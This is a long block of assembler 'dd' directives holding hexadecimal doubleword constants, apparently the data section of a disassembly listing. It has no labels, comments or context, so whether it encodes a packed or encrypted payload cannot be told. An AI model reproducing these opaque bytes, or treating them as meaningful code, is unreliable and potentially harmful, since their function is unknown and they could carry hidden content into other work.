		dd 0C352C8BBh, 8991C35Ah, 88151854h, 0C3715242h, 0F68762DFh
		dd 234189A2h, 9DCBFEFFh, 1423E33Ah, 8C661900h, 0C00BE8DBh
		dd 0B9FD9F19h, 5603E3F4h, 0DA19897Ah, 3585A06Dh, 5EBAC126h
		dd 4204C3F6h, 0AF9931D4h, 0FF218679h, 0DD0D5195h, 0A0A9038h
		dd 670DE990h, 3E80411Dh, 0C95AC2D5h, 7803FC91h,	0A15050A2h
		dd 907F0011h, 0C6B5E781h, 0E91B70B3h, 103C041Dh, 38330154h
		dd 7E5333B0h, 5F02BCC5h, 0C89870E6h, 4200DC7Bh,	0FAA1728Dh
		dd 2349469h, 0B588356Ah, 9C8471E4h, 0C35F6157h,	8C7C89C8h
		dd 13471744h, 0CFBC357h, 0C98C18C7h, 290F2740h,	7128D8B6h
		dd 7DC1816h, 9589A8D5h,	0BA4E0CCDh, 0C0A70648h,	89C38BF6h
		dd 25E5309Dh, 4E8C120h,	6AAC96A0h, 0E206F7E8h, 1541B58Bh
		dd 8D2B6420h, 0C35E6156h, 877489C8h, 0C3564600h, 3189DC2h
		dd 0F08B66F5h, 0C8E6050h, 0C306C863h, 1C898861h, 3DBCA024h
		dd 60FF8108h, 0CD00B65h, 8C1DE882h, 4B0CB300h, 0EA454E13h
		dd 9074732Bh, 0D212926h, 90116F6h, 0BA2410BBh, 48FC400Ah
		dd 46DF6DAh, 0DC73E612h, 3A03845Ah, 1B2380h, 85BCF94Ah
		dd 24E0D289h, 4AFBF6CEh, 243BB7F3h, 51441CE1h, 0C8C35961h
		dd 448C4C89h, 5100411Ch, 6D2728C3h, 3C56EC79h, 9066C5Dh
		dd 0D217119Dh, 0F613C0Eh, 9F02C983h, 801A117Fh,	2307493Bh
		dd 0A64002ECh, 0FEBF0F60h, 0AFA2E43h, 5642660Dh, 0C83346F5h
		dd 5BC3536Ch, 5C8991C3h, 43881818h, 98C30053h, 4F17E463h
		dd 0B69B880Fh, 2145508h, 289D8531h, 5BC33BC9h, 6936C09Ch
		dd 0A7A2AB8h, 33E652F5h, 0B24409C6h, 808A8412h,	1846743Ch
		dd 3DC8AC01h, 232B49B1h, 3014B2E0h, 0B52A89D1h,	5813E455h
		dd 1920820Fh, 598D3360h, 0E8113E31h, 0FD3809h, 89993459h
		dd 0EE7867FEh, 0A684D061h, 2C01A610h, 974050E8h, 9AD9C75h
		dd 44B17EA9h, 2235F702h, 0C4B95F02h, 78E89B34h,	4A0EE348h
		dd 2557C467h, 281EE910h, 0A0E79C8Fh, 0F6977DBh,	90F4A48Fh
		dd 0CC1207Fh, 3119C880h, 4EE18379h, 0C11588A3h,	3123B622h
		dd 3B559724h, 20868105h, 4A008624h, 0BA2A78DAh,	0D34B134Ch
		dd 0F8F83060h, 0E400D2E5h, 0B145AFA4h, 1679661h, 295E0B40h
		dd 2532D1B5h, 7EC1E282h, 0B11688D9h, 0C1F60B34h, 0CDE16D25h
		dd 3178090Bh, 93733284h, 0DC0BBE6Fh, 18375BF5h,	36E59480h
		dd 0EF2BF98Bh, 16A2DE23h, 0EF43F30h, 1BBE6659h,	8343D63h
		dd 6286F317h, 1923C03Fh, 0BBC16900h, 3063EACDh,	681D11E9h
		dd 1700AF46h, 1CA08C70h, 0FB294BFh, 7967B5A9h, 2BE96EC2h
		dd 18E46247h, 9BBAF360h, 0EAC07028h, 78136120h,	4CE2988Bh
		dd 497740FEh, 0F9BD4FD8h, 49BA203Bh, 71892C40h,	0B0C7B28Dh
		dd 0BD7559F7h, 0F6E93905h, 23622E1Dh, 0CEB30915h, 190D3402h
		dd 296A5F8Ch, 58811A40h, 0D08FB4BDh, 304B9312h,	0BC2C475Ch
		dd 0D3008C1Ah, 5B45390Fh, 50FF862Ch, 9573285h, 248DB503h
		dd 0F49434A9h, 14C40FA5h, 64E01962h, 44D3293Dh,	1C9BF165h
		dd 970D10C0h, 3C00DD0Fh, 904D70DEh, 1804C681h, 6E7C4891h
		dd 61821801h, 0D452514Dh
		dd 4446C790h, 1C06014h,	296551B5h, 940B99D8h, 9432F4EAh
		dd 0A695A4F2h, 41A433F1h, 0C32332h, 620EBF36h, 93F43ECAh
		dd 0F1D778F9h, 0A2DBC453h, 0C15301Ch, 7598501h,	16F884B3h
		dd 2911A641h, 19887D4Eh, 72E767CFh, 415DAB42h, 4E4BF2D1h
		dd 0FEC01B88h, 0E728ADFh, 92B23FE8h, 0AB21128Ch, 902D9700h
		dd 19A623Eh, 0F863008Ch, 0F782716Fh, 0A528FED7h, 6120E250h
		dd 15E0630h, 0F14C9BDh,	23458790h, 0EB628DD9h, 5E99204Ah
		dd 54E0A244h, 12D6BA03h, 0DDCB83E1h, 3575B9C1h,	0D1206206h
		dd 0FBE90E0Fh, 0BE23FFF7h, 74B83B54h, 0EAA7C18Bh, 9E601A44h
		dd 0DE01476Fh, 0F9925069h, 0E7C204EBh, 601CE4EAh, 1BFED5h
		dd 25400106h, 8D29B710h, 635855Dh, 3599D31h, 44A0A70Ch
		dd 0D3B76115h, 7425509Fh, 23532E46h, 98790217h,	0EC60E50Eh
		dd 0F901BF50h, 89111721h, 54AC2404h, 22121CA3h,	1EA50644h
		dd 139BE009h, 0D3AC1281h, 34615F4Fh, 0AC1CCB98h, 14B26A23h
		dd 2E893030h, 856131B5h, 8E05C083h, 0C0198805h,	21E24685h
		dd 90C03816h, 7FA6D404h, 7A3790E0h, 0FE930F1h, 5808DB33h
		dd 8909DC00h, 0E468BA8Eh, 26DE3BFAh, 2287502Ah,	5EF2028Fh
		dd 0EC8014D2h, 130B61C6h, 211AE9BDh, 0A51B39C9h, 41370Ch
		dd 7B4D3DECh, 0D66035A0h, 8453B966h, 999D5829h,	0C4BD618Eh
		dd 0CEAB9A3Bh, 0C01CC8FDh, 70F32CD6h, 0C9E68806h, 1D0B3D5h
		dd 1D3FFFAh, 850BC595h,	0EE585D3h, 29C1D6DEh, 39D9BD03h
		dd 0C021393Dh, 227DCE8h, 0D5ED815Dh, 40E91E49h,	0F0020E20h
		dd 0E5267300h, 4E622A70h, 0E39E0006h, 7F3979C0h, 9B58D2B2h
		dd 0E86F0ECh, 9D8B8001h, 3D2B052Eh, 34C5B584h, 0EB3CD13h
		dd 0C01788D7h, 142982FBh, 0B691CCB4h, 1B71F920h, 0D05B5C86h
		dd 8C1DFCh, 253EDDB1h, 3912DE8Eh, 7DFB622Ch, 0CD17303Eh
		dd 0D305BC6h, 7CE916E2h, 0C00E5B6Dh, 0DA8D81Bh,	3B5D051Fh
		dd 0C6F5CB88h, 0E99ED0D3h, 280C80C2h, 41F62EB8h, 12421BDh
		dd 8DA536E9h, 660031B7h, 364978CFh, 699D2C01h, 3962B20Ah
		dd 4D123F6Ah, 0F9A117D1h, 6C2DFF28h, 0C8F91BE3h, 5A33B2A1h
		dd 4E2122Ah, 1328D967h,	0A2FED1C9h, 5B10B968h, 608DA45Eh
		dd 0C30B13B6h, 0E9A2D214h, 6E9F000Bh, 7DED20A5h, 0B0504D5Fh
		dd 0E90BD74Dh, 524803B8h, 76E1B0FAh, 0B5AF3AAh,	70E6F842h
		dd 36D9602h, 6071E400h,	0B3C0BB3h, 0D225458Dh, 0A93EC161h
		dd 94BC6934h, 8C1AB849h, 0EF6CCA00h, 7A780AF2h,	0EEE60481h
		dd 822E8F90h, 6429130Ch, 6730022Fh, 2C8DB0Ah, 0EF3905C0h
		dd 0A99BD909h, 0B3A6E40Ch, 0B60D7863h, 0F88E9707h, 8B5789F0h
		dd 811D37ABh, 0EE4F4A3Bh, 9078D2CBh, 0AC50EA0h,	5967082h
		dd 0C078EEBFh, 0B215B322h, 0AD8F301Ch, 3243EA01h, 0E8F43020h
		dd 5BC54F64h, 6F11166Dh, 9F0F1211h, 223D0305h, 0B2A59FC8h
		dd 0D6409449h, 0F4001A46h, 0CCDEE026h, 29091EF9h, 650F0D85h
		dd 0A335A746h, 0D8849300h, 24AD8CCBh, 489C9D9h,	9501B503h
		dd 8A701056h, 18C19E8h,	6D6E9796h, 21FC55BAh, 800D3C8Ch
		dd 9AA26631h, 504675C1h, 2D7CC279h, 29A25F82h, 0A00901E4h
		dd 0EA80CAF9h, 0B104B61Eh, 79322DA2h, 0DF81803Ch, 48DE1267h
		dd 45E4649h, 953B2F3Ch,	231A3A2Ah, 29DA0119h, 0FD9CD61Ch
		dd 384625FCh, 0AEF380ECh, 0D4CAC48h, 0BE9DA35h,	46B5EC19h
		dd 0E7311200h, 0ECFDB8E2h, 5E5F489Ah, 16A2A843h, 58EA2930h
		dd 8510A5A7h, 58260Bh, 30EF802h, 45C4D24Dh, 88770B47h
		dd 49BBC017h, 0CFB41187h, 8D8B6040h, 0B4E9E69h,	2F468C0Fh
		dd 141B2120h, 3BC18361h, 28C18BCh, 45969FA9h, 7040F9E2h
		dd 0A8B4251Dh, 5A2FDD66h, 0C88113F5h, 668AA57Bh, 0D4180100h
		dd 4852EFCCh, 0E63DE8h,	2D222859h, 39CF10ADh, 9300B582h
		dd 77FC6A65h, 291543D0h, 2DAD418Dh, 9197355Eh, 82268216h
		dd 190560E6h, 2C5B8111h, 8C1BBC1Dh, 6C1C7F07h, 2C203439h
		dd 4FBD29DCh, 2BEA092Dh, 0F0BF3F82h, 191188D3h,	85236005h
		dd 0DB449779h, 0FCE4870Bh, 611FA106h, 39152DE9h, 0C026F08Bh
		dd 0F00DE26h, 263FBC8Bh, 0B855E309h, 1D493495h,	4B65F37Ah
		dd 0B703E66Ah, 0E12DAEBEh, 0A398D4E8h, 19255CC4h, 4789F80Bh
		dd 910A5452h, 357ADB71h, 1D465Ch, 0FF30B172h, 33956F0h
		dd 0BE3ADF6Eh, 682FDDCh, 5AB78E8Bh, 96E7E502h, 0B104E15Dh
		dd 648DD3C2h, 810F5612h, 204FD16Dh, 5BDE8171h, 32495916h
		dd 0CCF52F62h, 35904808h, 5B131322h, 8400647Fh,	57C6E3A4h
		dd 1077FF9h, 67A6B74Ah,	20EE2050h, 305ADD57h, 0F213D44h
		dd 3A325F0Eh, 1C1C230Ah, 7C0FC09Ch, 7ACD17Bh, 3D5888E5h
		dd 5E90C31h, 5D09182Fh,	98DE068Eh, 4C5D1AEh, 0EC9BD655h
		dd 59018078h, 8B0B7579h, 10E95EF3h, 2573F27h, 164E72A8h
		dd 84710190h, 18181679h, 1A90AB2Ch, 0E84CE707h,	0A5B6BE51h
		dd 0F4DF7568h, 88728E7Ch, 72AEC31Dh, 6525AFF0h,	0BA878C15h
		dd 3E5E8080h, 0B49BCC20h, 933310D0h, 5E1C596Bh,	77E4C185h
		dd 8010E9A8h, 4DA7211Dh, 7F94D76Dh, 0FE7C00EAh,	43BA0BFCh
		dd 37903A42h, 0E9E94560h, 0E3FFF8E8h, 32550A2Eh, 0E660927Fh
		dd 0DB53E041h, 4A8BFED3h, 0F285C8F9h, 0CEC65800h, 11A689D1h
		dd 0B9FD0C5Eh, 957FFFFEh, 580AD920h, 28204321h,	9D3D4A98h
		dd 440F6BDDh, 395C003Bh, 0A2228744h, 0D607BB7Eh, 6138732Eh
		dd 23D1421Dh, 801FE2A9h, 4B303DC1h, 0F8ED2457h,	29B98D0Fh
		dd 0B358CA81h, 83647F4Eh, 0C4CCA728h, 8840631Ah, 0EC2A1AAh
		dd 8531DA2Eh, 83DB8036h, 999701E1h, 29FD8BD6h, 0B87A6FB6h
		dd 46765CB4h, 70D20517h, 34480FF1h, 5865A32Bh, 9000142Fh
		dd 0B60BF8BFh, 4CB52960h, 0B690C7F1h, 7728234Eh, 0C231BDE1h
		dd 0E92401B6h, 0A5808759h, 0E5CEE3F4h, 0B200037h, 4C617622h
		dd 0A000B763h, 0E4F3A28Bh, 8C1CFh, 0C4D9FE9Dh, 61B3CDBh
		dd 5F781D00h, 0A6B1614Ah, 12E691h, 0AD4B96CCh, 54029CCBh
		dd 0A072AB00h, 4E1FECB7h, 0EB988Ch, 26F8DBF3h, 2AE96631h
		dd 0EB402D00h, 59706FA5h, 6E7500D3h, 94462F56h,	74009683h
		dd 0C7EFDE27h, 6B8F50h,	0E512CC5Ah, 512E4606h, 1502D400h
		dd 80FCD4Ah, 0EEE9013Dh, 3522F483h, 4F90EB48h, 9F00B784h
		dd 0CDCA8F78h, 0FA458BE0h, 0D3580095h, 0CFF60E15h, 260631E6h
		dd 1C3BDE5Bh, 16010058h, 0D0ACE4Bh, 1A1EC742h, 54C0D0AFh
		dd 9ABD5AE9h, 0FA9C0385h, 4F8812DDh, 92295100h,	0DA377B27h
		dd 0A1B15A8h, 812BC60h,	351703C7h, 0EF2F73ABh, 0E4BFD84Dh
		dd 15CF6005h, 86BC02D5h, 858C0FC1h, 6C44C64h, 0F852C001h
		dd 0E6FE19BFh, 5642CA4Fh, 8015C7C8h, 256BC085h,	3E6F60EFh
		dd 0DA10EEF5h, 0D9E04DC0h, 67E4C1h, 5AD7A2B5h, 7CD09BBCh
		dd 6B16810Fh, 0A570A032h, 0ADDC0D8h, 1A03183Fh,	0E75E94F4h
		dd 0E9B4A301h, 0DC21041Ch, 1019A65h, 0FD7635DFh, 0F8DF96A0h
		dd 0F2415606h, 385F00F9h, 2C2BF06Dh, 3900E661h,	7A9D3FCEh
		dd 3434059h, 804B4C0Ah,	15989BB3h, 0C003D786h, 710C2ABh
		dd 33E9003Ch, 9146E1B6h, 0EE00BB86h, 0D08502CDh, 0B3FCC7h
		dd 0BF5837A2h, 0AB8F3BA6h, 1BA7B404h, 183F22Bh,	0D8A3C064h
		dd 0D7F3150Bh, 0BC009778h, 6A2DD183h, 0B4003288h, 7F41514h
		dd 0A0A38BC1h, 1F8A91E3h, 80C78C72h, 1DBB3803h,	0B2042FFAh
		dd 0AB28F3E4h, 0DA233480h
		dd 7F5E00C9h, 0E271DCD7h, 0F002433h, 95607726h,	1554218h
		dd 0C12C458Ah, 8CFF2D15h, 8B72949Eh, 5362C092h,	2334E384h
		dd 6A370200h, 0CB3A5C49h, 0FA9300F5h, 0D8E1C222h, 51008842h
		dd 0BD9AB27Eh, 7C9B40h,	0EC5768B1h, 8499BE5Dh, 92467F01h
		dd 471205D5h, 5B41B441h, 2690E20h, 774BF183h, 0CA40D870h
		dd 7F241A53h, 0FE9D1858h, 0E6D60C62h, 8710FFADh, 6000C7Bh
		dd 0A8794611h, 4CFE7F0h, 0D59D49B4h, 2C488270h,	1106C65Ah
		dd 0F34076BCh, 3F46073Ch, 0C0C74127h, 3AE01906h, 0AEA96D01h
		dd 0DDF516E3h, 0EE4567C0h, 66AB005Ah, 24F6C798h, 38781B33h
		dd 2BA67101h, 2F68137Eh, 0A46FC8h, 3CDCBFD7h, 8450BC82h
		dd 91023000h, 1565B70h,	0CF8577BBh, 6CC08B7Ch, 9A874FC8h
		dd 0A573541Ch, 0E53ADB01h, 0F80699Fh, 9050686Fh, 2524BE89h
		dd 8E3F1103h, 8970510Fh, 3D8420FFh, 31C051Ah, 8925D7Ah
		dd 3E01DFD0h, 0DC6BD6E7h, 1FED1D3Ah, 0F48DA640h, 4CF92BBh
		dd 0C2945303h, 249A80D5h, 8C30D227h, 555C3F56h,	0B722013Dh
		dd 4F957628h, 0FC1B9F19h, 868D3B80h, 0E04A5065h, 0E3F00190h
		dd 255BA1F6h, 2B2687D3h, 2DC40C24h, 80EE02D2h, 9FD8C5D3h
		dd 0DDE00F9h, 35344C4Bh, 0F200A7E0h, 0E8DDCDE5h, 0DB019Dh
		dd 831CE7EEh, 6CEDA461h, 6F52A700h, 3773F4ABh, 77980013h
		dd 0BDDA7C5Fh, 1F01BFA8h, 0EEB02DF8h, 0DF201EE9h, 48D198D5h
		dd 44C035D3h, 0FFCF743Eh, 0A0CDE32Dh, 0DD79B2D2h, 4A4D1D0Ah
		dd 0C691C37Fh, 90990CF9h, 9F8CB996h, 600778Fh, 52451115h
		dd 0EF440031h, 2C1E7BCDh, 9E00696Eh, 90E217D1h,	0B0BB8943h
		dd 92CA000Eh, 0CD23132Bh, 53095920h, 1CCD3h, 9F6A6D17h
		dd 0CABA18D2h, 0E85D1F94h, 990F7D7Ah, 76C4DCFBh, 0B8002FFCh
		dd 4679E51Eh, 0FF003825h, 0C8CF8A5Dh, 0F30FDh, 8EBD7744h
		dd 54FE56C0h, 48475F02h, 40E3AC02h, 26FBB235h, 0C96395Eh
		dd 1F766BFh, 4015C7A0h,	49365701h, 354D4A10h, 609BF0D8h
		dd 9AA1F88Ch, 800A52CFh, 0DB998297h, 569CF103h,	26230020h
		dd 0A02A071Fh, 12C78D65h, 71016B7Ch, 0F7C8B6A1h, 2E1D001Eh
		dd 0AAF3F626h, 46703354h, 0AE5ECF00h, 3CED5E2h,	0C3D40086h
		dd 0BCDB7BF8h, 0A50174F1h, 8D9EE7B2h, 0C7E04322h, 0B0C005Ch
		dd 6798DECBh, 0EA045A83h, 6551666Dh, 3B62C88h, 0BD805DB8h
		dd 0C0DC1EEEh, 4A29098h, 8057DB3Ch, 84445C7Bh, 335B27Dh
		dd 745D7265h, 40F805A2h, 0F979321Fh, 45223A02h,	80D66CBBh
		dd 127D78F8h, 14D32A83h, 0FF214897h, 80E4298Ah,	7D0C7724h
		dd 0A503BADDh, 0EB311ABCh, 0BB4302B5h, 0F0C893B4h, 193FD7F2h
		dd 7DB780F7h, 21AE1B9h,	3EDC031Ch, 360116C7h, 0F62C8CDDh
		dd 0EBAE2B00h, 0F1A421ECh, 9E1B24E6h, 900D05FEh, 0D33790CAh
		dd 7C7BF9C4h, 3CF4BF00h, 81E38953h, 8EF39CC3h, 87C1EB83h
		dd 0FD5C241Ch, 0D051D12Ch, 0C15481E1h, 0C81E913h, 6884CE17h
		dd 0E147A1AAh, 0BA52F03Ch, 20B7500h, 61EA8172h,	760FFA13h
		dd 0BD5500D1h, 7C3039E1h, 8103D5F7h, 83F15C5h, 7E5B073h
		dd 588C1D14h, 0DD059FC1h, 44CC6F5h, 6B012A6Fh, 9D86056h
		dd 0F2FC5DEAh, 0D15A077Dh, 53D08970h, 827D8B54h, 5059C450h
		dd 2AA680EFh, 8F20EB06h, 51081447h, 291E09B9h, 3D595A4Fh
		dd 6848D16h, 0FF3A9084h, 35582934h, 5544E903h, 8A0F0FCh
		dd 97920067h, 26ACBA8Ah, 0C4B86928h, 29BFB81Eh,	0C5030740h
		dd 0C7E0FFh, 0E6257883h, 0DE28ABC8h, 5988F500h,	6294E9FAh
		dd 3CD70030h, 3807CE70h, 0BB66010h, 9CA001DCh, 61B509EEh
		dd 95890108h, 941758FAh, 0ABE40A5h, 5904DF0Bh, 2F318D21h
		dd 0CCE988B9h, 0DF318020h, 5014C18h, 19B50B00h,	8B1583BEh
		dd 7A6E4F32h, 0A435DE00h, 2C3B319Eh, 8F0F6613h,	81709697h
		dd 4E7580EEh, 3E2440E8h, 0FB617C9Dh, 89DDCA02h,	595BB71Ah
		dd 9091178h, 58619D29h,	2ABFF8ADh, 88628BC7h, 12F46F28h
		dd 0FCC8C389h, 0B7BD003Bh, 0B0DDBE66h, 52D8965Ah, 2E10DA5Eh
		dd 9B606117h, 0EA89F5h,	0C7E1AE69h, 5D989F1Eh, 9D2B958Bh
		dd 0B7AFEB0Ah, 595501EFh, 41629E37h, 31351E0h, 2D02260h
		dd 0E94CB27Ch, 0EA36805Dh, 1E16BBEh, 266E4E9Ah,	385E638Ah
		dd 24D04EAAh, 0E5DE8B66h, 0CC0F2A53h, 0FE53B4E4h, 94BD5AB5h
		dd 1A22D39h, 251CBDCEh,	0E22C1421h, 559B0017h, 0CB896C4Ch
		dd 0BBD9144Fh, 3812165h, 390BC5B5h, 0ECA29CAAh,	60DA27B7h
		dd 8B45ED83h, 41E69F1h,	88275AB0h, 0EB212BE2h, 115521Ch
		dd 2054E989h, 7067385Eh, 0A272045Bh, 0C7B7A0B5h, 22F820F5h
		dd 37002035h, 505E7364h, 1692C79h, 0A970596Eh, 60B099AEh
		dd 0EE7DD707h, 36162B00h, 441B5197h, 21CB09ADh,	6DC6D987h
		dd 0A0240725h, 215C886h, 1CBA0037h, 426330FBh, 58B8472Ah
		dd 6BF264B0h, 0E1546C2Ch, 78530601h, 0D62CFC32h, 0DAFB0200h
		dd 5621420Fh, 1E39D904h, 0BFA0D653h, 8CF716F2h,	25A103FDh
		dd 0C4A0FE20h, 99E63802h, 209E812Eh, 5EE0B880h,	0E94221h
		dd 5B7CD51Bh, 66331C43h, 0F13D800h, 8CC52BDBh, 0EBB8BBh
		dd 3A730CD7h, 0E3B07B9Ch, 0E8CB27h, 0C833E085h,	60FB001Dh
		dd 85452815h, 10006C0Dh, 0F0BB13CDh, 8B4B1Ch, 0C491748Ch
		dd 549A7123h, 7F1E20h, 31FC1D24h, 452E4364h, 0B7829503h
		dd 7EF42Dh, 0CC37CE20h,	0A8F06A20h, 770C1B76h, 1E72FB31h
		dd 29FA2E01h, 569E62E4h, 0E59CF3A4h, 0A37AD4A4h, 526BE400h
		dd 30E2B323h, 1F0F0C27h, 0C146B1E7h, 13BF2A0Eh,	0A264795Fh
		dd 0A0209939h, 94835200h, 10DBFCC9h, 0D6C10093h, 0CFC88E0Bh
		dd 2F00C0E2h, 0DFD7F7D3h, 5432038h, 3B0611C6h, 0DCF040BEh
		dd 0EF9776E1h, 0FA006398h, 3F283D5Ah, 4E63789Fh, 16200F77h
		dd 0B904F1E0h, 81BA89D9h, 2173AC24h, 18BC9F05h,	726F8880h
		dd 63C4A039h, 32DD0E48h, 0DBC01310h, 4E66E505h,	0AFA86B00h
		dd 0FA40959Ah, 0E47360C4h, 0C8ABC3CAh, 1F0A6EB9h, 6104B648h
		dd 801996h, 0A62A90h, 6FA16EF3h, 75623102h, 9E13AA00h
		dd 0A2BB5433h, 0B78B0037h, 271BA78Dh, 7D002AEEh, 0D19CBDDAh
		dd 54D0EC04h, 0CFCE9DC0h, 0ABE56AD6h, 1595008Bh, 3E8497EFh
		dd 66260824h, 0E6070E00h, 0F03A2Ch, 0C10A6002h,	8058D5A0h
		dd 80AA9724h, 0C0721D0Fh, 287FC73Ah, 6F3C0107h,	2B267A57h
		dd 7FA4AFC0h, 0C9863100h, 0B148C6E7h, 7C9E80B0h, 273EC176h
		dd 68A003B6h, 0EED1E90Ah, 642F2801h, 0EF9B061Fh, 0D68CDA21h
		dd 53C3826Eh, 63A9FE05h, 0A101882Dh, 184E2C33h,	0C61E0F93h
		dd 0D5000FC7h, 0AF95ADCEh, 902489ABh, 7DDF12FAh, 96890040h
		dd 0E41DB681h, 0A6753204h, 0CFF490B1h, 849E03h,	2516382Dh
		dd 8A01ED33h, 7F983BFBh, 7450465Eh, 18BD4228h, 76D14177h
		dd 86074047h, 9BBC795Bh, 60488152h, 54856B22h, 4FAD82C7h
		dd 57EC0074h, 4BC89384h, 0BE898E00h, 1AF96475h,	3EA90B40h
		dd 1D41D892h, 137F2221h, 8E42AB1Fh, 0D0051DEAh,	7918A0FDh
		dd 1893005Eh, 0AD526587h, 36007A1Ah, 3DA8C3DBh,	0EDEAAEh
		dd 21292ED8h, 9E53D6FFh, 3899D703h, 1628245Ah, 83232A90h
		dd 32F78746h, 0C3E0B8A8h, 0DDA0DB01h, 7D0008B5h, 0EB0383A2h
		dd 359242Bh, 0B513ADCh,	287112D5h, 9EB3D400h, 27F2E5B5h
		dd 1B65699Dh, 1C558240h, 4B917A0Ch, 11B1915h, 0C228F314h
		dd 0D993BACBh, 18892D97h
		dd 0D02426CAh, 0CEB100C9h, 0F1F60B0Ch, 0E00075CFh, 56CCF53Dh
		dd 90BB5B3Eh, 82540079h, 894DCA95h, 4600C38Eh, 38B58097h
		dd 7AA97463h, 3FAA16DCh, 560480B0h, 3001C35h, 4E490998h
		dd 97F3339h, 0DFE3F014h, 19E4BE00h, 182A344Ch, 164BC31Fh
		dd 9D92AD44h, 0C7A3CCE0h, 96E3387Eh, 6D491567h,	0FCAB00FEh
		dd 91E3F58h, 597E0620h,	5F41118Eh, 5861F194h, 3F9EDC12h
		dd 4F0A83E2h, 59807D48h, 0A600733Eh, 0AE8DF809h, 0C117C95h
		dd 4117D082h, 1A0320C6h, 0E3FFD250h, 1890D4A9h,	21506A7h
		dd 82B2D4C1h, 15DA33CFh, 3D001E75h, 6BB1B0C8h, 2D58CC15h
		dd 0BD201B53h, 986DD072h, 78671705h, 6FC13657h,	2881F6ABh
		dd 4494FF74h, 0CC12D0D7h, 0D3187660h, 3260757Ch, 5E81891Ch
		dd 4A839690h, 0BD888F0Eh, 93E8E4F0h, 5A96E0h, 0CD950538h
		dd 0ACC4F563h, 1AE5EC02h, 0C02AFD9Dh, 0B2344924h, 28C10758h
		dd 80818306h, 112917C8h, 0A6E62118h, 380BC94Ah,	7900B173h
		dd 1F40DEDFh, 700D754h,	39AE4510h, 1252EFCEh, 347D641h
		dd 54C16B0Ch, 764D93A0h, 0E2AE9918h, 9C2DAAC2h,	5BBC6061h
		dd 59490ECBh, 0E3040033h, 0B88FD5C2h, 0FE5A5CC5h, 9DA2B701h
		dd 80CC0248h, 0A732D215h, 4C5C6F0Ah, 8414C951h,	2C04889Eh
		dd 800B0E5Ah, 323E9439h, 917E9F01h, 0CB968158h,	9E74330h
		dd 4EDCAA1h, 0F307F00h,	3200D750h, 60A6939Eh, 0FD052D2Ah
		dd 829F4h, 0F91EC03Dh, 3C5BFBE4h, 87E77100h, 93F64C47h
		dd 9E2D2C98h, 80C61696h, 4D24F8Ch, 0CD481300h, 7426B520h
		dd 654E2663h, 92FF92C9h, 0C1714199h, 0B5681A7Ch, 0B6585A33h
		dd 5C64BDF0h, 0B4041411h, 1C4F22h, 0F749FCBAh, 0EAD13A2Eh
		dd 7C1DA1Dh, 90B85003h,	2915645Eh, 5458C20Ch, 383328Bh
		dd 535604C4h, 0DE91D389h, 873D45Bh, 601E5E4Eh, 3F8B2533h
		dd 0E0935072h, 4F689405h, 24408705h, 4DD3E95Ch,	13FFFC00h
		dd 0B81667BCh, 30314E80h, 6D3C6968h, 8A5E2307h,	56B05DDCh
		dd 3AAC6126h, 1B03A1C4h, 0C5483A6h, 601F67A1h, 3200F5B6h
		dd 697B35E7h, 3BC6AE4h,	0C6FE9B2Ch, 5400CA45h, 0ABAAFD64h
		dd 66763Dh, 0C318242Ah,	0F2731CE1h, 4E714F00h, 0E565BBFCh
		dd 10E60086h, 405E20E8h, 0DD169968h, 43E6606Dh,	0AA9F0DE0h
		dd 80AEEAA0h, 9490E94Bh, 0D322DEh, 0B1329A3Dh, 0AC4E48F0h
		dd 2F135A03h, 0BA9B96CDh, 25C15B11h, 350F853h, 21B512D5h
		dd 0F55BF48Dh, 278B603Dh, 0E73A4395h, 0CFDD167h, 954FB328h
		dd 0B87CF9ADh, 0A8CFCF4h, 0B533E234h, 0B32D25E5h, 6A3B2A82h
		dd 0FA121423h, 0D61FB4C8h, 0E090B61Bh, 0FE637899h, 8176A88Bh
		dd 0AF409C7h, 0BAC7415Bh, 0C91B5D08h, 1D6467C5h, 8BC15960h
		dd 0B66E9E01h, 9B9283B2h, 0B7DD85E0h, 69C78907h, 4DA5D37Bh
		dd 9006C09Bh, 0AA3CA951h, 61F597C0h, 6AE0DEF6h,	0CE318BF9h
		dd 0E99DF8EBh, 7CE756C2h, 37001546h, 0BD896052h, 0C9125ADh
		dd 619AC92Dh, 9806E3Bh,	7851B6BFh, 0C7412A8h, 3C6F1489h
		dd 75E9C183h, 66603107h, 0D8D9D88Ch, 6A3544EAh,	36FF0132h
		dd 858D0018h, 0AB76781Ah, 8978D0F8h, 8B1DF560h,	31EFC1FEh
		dd 43C680Ch, 1EB8B920h,	0D965702h, 50FF3AE0h, 60E91A95h
		dd 85C66B32h, 16C00619h, 30DF6856h, 7EA962C5h, 28340CE1h
		dd 4B0E2DADh, 50808115h, 57C8D6Ah, 12006E56h, 13C1C361h
		dd 0E66006E0h, 0B8E7E0CEh, 0F56F0008h, 0BD83C08Bh, 5CDC27F9h
		dd 1209750Ch, 74064405h, 53501918h, 9538B82Ch, 50E346E4h
		dd 239D8DF3h, 0D2AAB030h, 0AC585BD3h, 0F174122h, 0AD121120h
		dd 0F98B5680h, 0B5173159h, 9F51AD9h, 0A8A5BDECh, 9F01E891h
		dd 0FBB75520h, 0EC0CF681h, 600D7B97h, 0CB1CA075h, 99EB75E8h
		dd 181DF12Bh, 3489001Fh, 1A112A49h, 0D7189BAFh,	4168EB8Ah
		dd 9D3DB526h, 8D8FB03h,	0D579E80Fh, 96E834A3h, 0C9A59BABh
		dd 968240Bh, 8F8050E9h,	86557596h, 0CF825901h, 0EA18D0Bh
		dd 0BD57922Eh, 4B744E6Ah, 52CE00DCh, 0E85AFB51h, 0C700DB57h
		dd 72EE81A8h, 0F679771Eh, 0A6D7D32Bh, 0F420E746h, 6236D6A6h
		dd 3099AE1Bh, 5A830F02h, 0E8F839FBh, 0DB4BEB4Dh, 2899070h
		dd 0DD800B83h, 411BC015h, 3031318Bh, 23D174h, 5C165BFh
		dd 0C0E83E69h, 0E841E906h, 517513CAh, 0C96F0354h, 0D1A0089Bh
		dd 0BA31052Ch, 2FC57410h, 0E8F08B00h, 0CF9506F2h, 0C5924075h
		dd 0D67748E8h, 145AF92Eh, 13187908h, 0C986B060h, 0E2612A44h
		dd 0B9660753h, 825E8E8Fh, 0ECDA890Fh, 0A0F18B33h, 1F38555h
		dd 1D301AB2h, 0C7C40DD7h, 2B74A70Bh, 1AA082h, 6156CB80h
		dd 29963164h, 5308E805h, 0C266F81h, 0B88CA09Ch,	0DE144E79h
		dd 1D838184h, 0A14367DEh, 66B1005Dh, 0E85B74BEh, 52A705B6h
		dd 0AA601744h, 0FA04B15Ch, 21F1BD29h, 6D09D5FDh, 45255798h
		dd 4F68E8A9h, 6082519Bh, 0CEC0CAF9h, 0B5802FE1h, 5AE83635h
